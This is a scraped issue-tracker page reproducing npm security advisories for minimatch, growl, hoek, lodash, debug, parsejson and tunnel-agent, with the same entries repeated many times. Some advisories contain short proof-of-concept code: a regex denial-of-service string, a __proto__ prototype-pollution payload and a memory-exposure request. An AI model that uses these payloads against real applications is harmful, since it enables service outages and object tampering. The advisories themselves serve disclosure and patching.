example's People
example's Issues
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
146:growl:Command Injection
CVES CVE-2017-16042
CWE CWE-94
References: Issue #60
PR #61
Affected versions of growl
do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.
@marshyski
118:minimatch:Regular Expression Denial of Service
CVES CVE-2016-10540
CWE CWE-400
No References
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
118:minimatch:Regular Expression Denial of Service
CVES CVE-2016-10540
CWE CWE-400
No References
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
566:hoek:Prototype pollution
No CVE
CWE CWE-471
No References
Versions of hoek
prior to 4.2.1 and 5.0.3 are vulnerable to prototype pollution.
The merge
function, and the applyToDefaults
and applyToDefaultsWithShallow
functions which leverage merge
behind the scenes, are vulnerable to a prototype pollution attack when provided an unvalidated payload created from a JSON string containing the __proto__
property.
This can be demonstrated like so:
var Hoek = require('hoek');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
Hoek.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
This type of attack can be used to overwrite existing properties causing a potential denial of service.
@marshyski
146:growl:Command Injection
CVES CVE-2017-16042
CWE CWE-94
References: Issue #60
PR #61
Affected versions of growl
do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.
@marshyski
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
534:debug:Regular Expression Denial of Service
CVES CVE-2017-16137
CWE CWE-400
References: - Issue #501
- PR #504
Affected versions ofdebug
are vulnerable to regular expression denial of service when untrusted user input is passed into theo
formatter.
As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.
@marshyski
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
577:lodash:Prototype Pollution
CVES CVE-2018-3721
CWE CWE-471
References: - HackerOne Report
Versions of lodash
before 4.17.5 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object
via __proto__
causing the addition or modification of an existing property that will exist on all objects.
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
577:lodash:Prototype Pollution
CVES CVE-2018-3721
CWE CWE-471
References: - HackerOne Report
Versions of lodash
before 4.17.5 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object
via __proto__
causing the addition or modification of an existing property that will exist on all objects.
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
598:tunnel-agent:Memory Exposure
No CVE
CWE CWE-20
References: - GitHub Commit #9ca95ec
- Proof of Concept
Versions oftunnel-agent
before 0.6.0 are vulnerable to memory exposure.
This is exploitable if user supplied input is provided to the auth value and is a number.
Proof-of-concept:
require('request')({
method: 'GET',
uri: 'http://www.example.com',
tunnel: true,
proxy:{
protocol: 'http:',
host:'127.0.0.1',
port:8080,
auth:USERSUPPLIEDINPUT // number
}
});
577:lodash:Prototype Pollution
CVES CVE-2018-3721
CWE CWE-471
References: - HackerOne Report
Versions of lodash
before 4.17.5 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object
via __proto__
causing the addition or modification of an existing property that will exist on all objects.
566:hoek:Prototype pollution
No CVE
CWE CWE-471
No References
Versions of hoek
prior to 4.2.1 and 5.0.3 are vulnerable to prototype pollution.
The merge
function, and the applyToDefaults
and applyToDefaultsWithShallow
functions which leverage merge
behind the scenes, are vulnerable to a prototype pollution attack when provided an unvalidated payload created from a JSON string containing the __proto__
property.
This can be demonstrated like so:
var Hoek = require('hoek');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
Hoek.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
This type of attack can be used to overwrite existing properties causing a potential denial of service.
@marshyski
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
598:tunnel-agent:Memory Exposure
No CVE
CWE CWE-20
References: - GitHub Commit #9ca95ec
- Proof of Concept
Versions oftunnel-agent
before 0.6.0 are vulnerable to memory exposure.
This is exploitable if user supplied input is provided to the auth value and is a number.
Proof-of-concept:
require('request')({
method: 'GET',
uri: 'http://www.example.com',
tunnel: true,
proxy:{
protocol: 'http:',
host:'127.0.0.1',
port:8080,
auth:USERSUPPLIEDINPUT // number
}
});
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
146:growl:Command Injection
CVES CVE-2017-16042
CWE CWE-94
References: Issue #60
PR #61
Affected versions of growl
do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.
@marshyski
534:debug:Regular Expression Denial of Service
CVES CVE-2017-16137
CWE CWE-400
References: - Issue #501
- PR #504
Affected versions ofdebug
are vulnerable to regular expression denial of service when untrusted user input is passed into theo
formatter.
As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.
@marshyski
577:lodash:Prototype Pollution
CVES CVE-2018-3721
CWE CWE-471
References: - HackerOne Report
Versions of lodash
before 4.17.5 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object
via __proto__
causing the addition or modification of an existing property that will exist on all objects.
598:tunnel-agent:Memory Exposure
No CVE
CWE CWE-20
References: - GitHub Commit #9ca95ec
- Proof of Concept
Versions oftunnel-agent
before 0.6.0 are vulnerable to memory exposure.
This is exploitable if user supplied input is provided to the auth value and is a number.
Proof-of-concept:
require('request')({
method: 'GET',
uri: 'http://www.example.com',
tunnel: true,
proxy:{
protocol: 'http:',
host:'127.0.0.1',
port:8080,
auth:USERSUPPLIEDINPUT // number
}
});
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
528:parsejson:Regular Expression Denial of Service
CVES CVE-2017-16113
CWE CWE-400
References: Issue #4
Affected versions of parsejson
are vulnerable to a regular expression denial of service when parsing untrusted user input.
@marshyski
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
566:hoek:Prototype pollution
No CVE
CWE CWE-471
No References
Versions of hoek
prior to 4.2.1 and 5.0.3 are vulnerable to prototype pollution.
The merge
function, and the applyToDefaults
and applyToDefaultsWithShallow
functions which leverage merge
behind the scenes, are vulnerable to a prototype pollution attack when provided an unvalidated payload created from a JSON string containing the __proto__
property.
This can be demonstrated like so:
var Hoek = require('hoek');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
Hoek.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
This type of attack can be used to overwrite existing properties causing a potential denial of service.
@marshyski
534:debug:Regular Expression Denial of Service
CVES CVE-2017-16137
CWE CWE-400
References: - Issue #501
- PR #504
Affected versions ofdebug
are vulnerable to regular expression denial of service when untrusted user input is passed into theo
formatter.
As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.
@marshyski
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
146:growl:Command Injection
CVES CVE-2017-16042
CWE CWE-94
References: Issue #60
PR #61
Affected versions of growl
do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.
@marshyski
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
118:minimatch:Regular Expression Denial of Service
CVES CVE-2016-10540
CWE CWE-400
No References
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
528:parsejson:Regular Expression Denial of Service
CVES CVE-2017-16113
CWE CWE-400
References: Issue #4
Affected versions of parsejson
are vulnerable to a regular expression denial of service when parsing untrusted user input.
@marshyski
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
534:debug:Regular Expression Denial of Service
CVES CVE-2017-16137
CWE CWE-400
References: - Issue #501
- PR #504
Affected versions ofdebug
are vulnerable to regular expression denial of service when untrusted user input is passed into theo
formatter.
As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.
@marshyski
528:parsejson:Regular Expression Denial of Service
CVES CVE-2017-16113
CWE CWE-400
References: Issue #4
Affected versions of parsejson
are vulnerable to a regular expression denial of service when parsing untrusted user input.
@marshyski
566:hoek:Prototype pollution
No CVE
CWE CWE-471
No References
Versions of hoek
prior to 4.2.1 and 5.0.3 are vulnerable to prototype pollution.
The merge
function, and the applyToDefaults
and applyToDefaultsWithShallow
functions which leverage merge
behind the scenes, are vulnerable to a prototype pollution attack when provided an unvalidated payload created from a JSON string containing the __proto__
property.
This can be demonstrated like so:
var Hoek = require('hoek');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
Hoek.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
This type of attack can be used to overwrite existing properties causing a potential denial of service.
@marshyski
598:tunnel-agent:Memory Exposure
No CVE
CWE CWE-20
References: - GitHub Commit #9ca95ec
- Proof of Concept
Versions oftunnel-agent
before 0.6.0 are vulnerable to memory exposure.
This is exploitable if user supplied input is provided to the auth value and is a number.
Proof-of-concept:
require('request')({
method: 'GET',
uri: 'http://www.example.com',
tunnel: true,
proxy:{
protocol: 'http:',
host:'127.0.0.1',
port:8080,
auth:USERSUPPLIEDINPUT // number
}
});
146:growl:Command Injection
CVES CVE-2017-16042
CWE CWE-94
References: Issue #60
PR #61
Affected versions of growl
do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.
@marshyski
118:minimatch:Regular Expression Denial of Service
CVES CVE-2016-10540
CWE CWE-400
No References
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
528:parsejson:Regular Expression Denial of Service
CVES CVE-2017-16113
CWE CWE-400
References: Issue #4
Affected versions of parsejson
are vulnerable to a regular expression denial of service when parsing untrusted user input.
@marshyski
118:minimatch:Regular Expression Denial of Service
CVES CVE-2016-10540
CWE CWE-400
No References
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
119:test:Test
CVE-2016-10540
CWE-400
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.